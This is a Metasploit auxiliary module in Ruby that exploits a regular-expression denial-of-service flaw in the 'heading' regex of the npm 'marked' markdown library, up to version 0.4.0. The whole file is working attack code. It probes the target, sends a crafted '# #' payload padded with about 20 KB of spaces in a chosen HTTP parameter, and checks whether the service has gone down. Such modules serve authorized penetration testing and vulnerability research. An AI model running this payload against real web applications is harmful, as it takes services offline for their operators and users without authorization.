##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'marked npm module "heading" ReDoS',
        'Description' => %q{
          This module exploits a Regular Expression Denial of Service vulnerability
          in the npm module "marked". The vulnerable portion of code that this module
          targets is in the "heading" regular expression. Web applications that use
          "marked" for generating html from markdown are vulnerable. Versions up to
          0.4.0 are vulnerable.
        },
        'References' => [
          ['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
          ['CWE', '400']
        ],
        'Author' => [
          'Adam Cazzolla, Sonatype Security Research',
          'Nick Starke, Sonatype Security Research'
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(80),
      OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
      OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
      OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
    ])
  end

  def run
    if test_service
      trigger_redos
      test_service_unresponsive
    else
      fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
    end
  end

  def trigger_redos
    print_status("Sending ReDoS request to #{peer}.")

    params = {
      'uri' => normalize_uri(target_uri.path),
      'method' => datastore['HTTP_METHOD'],
      "vars_#{datastore['HTTP_METHOD'].downcase}" => {
        datastore['HTTP_PARAMETER'] => '# #' + (' ' * 20 * 1024) + Rex::Text.rand_text_alpha(1)
      }
    }

    res = send_request_cgi(params)

    if res
      fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
    end

    print_status("No response received from #{peer}, service is most likely unresponsive.")
  rescue ::Rex::ConnectionRefused
    print_error("Unable to connect to #{peer}.")
  rescue ::Timeout::Error
    print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
  end

  def test_service_unresponsive
    print_status('Testing for service unresponsiveness.')

    res = send_request_cgi({
      'uri' => '/' + Rex::Text.rand_text_alpha(8),
      'method' => 'GET'
    })

    if res.nil?
      print_good('Service not responding.')
    else
      print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
    end
  rescue ::Rex::ConnectionRefused
    print_error('An unknown error occurred.')
  rescue ::Timeout::Error
    print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
  end

  def test_service
    print_status('Testing Service to make sure it is working.')

    res = send_request_cgi({
      'uri' => '/' + Rex::Text.rand_text_alpha(8),
      'method' => 'GET'
    })

    if res && res.code >= 100 && res.code < 500
      print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
      return true
    else
      return false
    end
  rescue ::Rex::ConnectionRefused
    print_error("Unable to connect to #{peer}.")
    return false
  end
end
